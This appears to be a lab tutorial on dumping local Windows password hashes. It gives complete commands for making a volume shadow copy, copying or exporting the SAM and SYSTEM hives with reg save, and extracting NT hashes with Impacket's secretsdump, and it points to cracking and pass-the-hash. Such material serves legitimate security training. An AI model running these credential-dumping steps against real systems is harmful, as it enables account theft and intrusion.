Local accounts are stored on the machine itself, while Domain accounts are stored centrally in Active Directory.
This note focuses on local credentials and how to obtain their hashes from the Security Account Manager (SAM) for offline analysis in a lab.
The SAM database stores:
File locations:
C:\Windows\System32\Config\SAM
C:\Windows\System32\Config\SYSTEM
The SYSTEM hive contains the BootKey used to decrypt the SAM contents.
RDP into the Windows machine using the provided lab credentials.
All following commands must be run from an Administrator command prompt.
Create a shadow copy of C:\
wmic shadowcopy call create Volume='C:\'
List existing shadow copies
vssadmin list shadows
Look for a path similar to: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Copy SAM and SYSTEM from the shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\Config\SAM C:\Users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\Config\SYSTEM C:\Users\Administrator\Desktop\system
Transfer both files (sam and system) to your Kali machine (SCP, SMB, etc.).
Export SAM and SYSTEM from registry
reg save HKLM\sam C:\Users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\Users\Administrator\Desktop\system-reg
Save path example: C:\Users\Administrator\Desktop\sam-reg, C:\Users\Administrator\Desktop\system-reg
Transfer these files to Kali as well.
On Kali, use secretsdump.py from Impacket.
Using raw SAM/SYSTEM files
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
-sam sam \
-system system \
LOCAL
Using registry exports
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \
-sam sam-reg \
-system system-reg \
LOCAL
Typical output format:
username:RID:LMHASH:NTHASH:::
The NT hash is the important one for cracking or pass‑the‑hash.
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::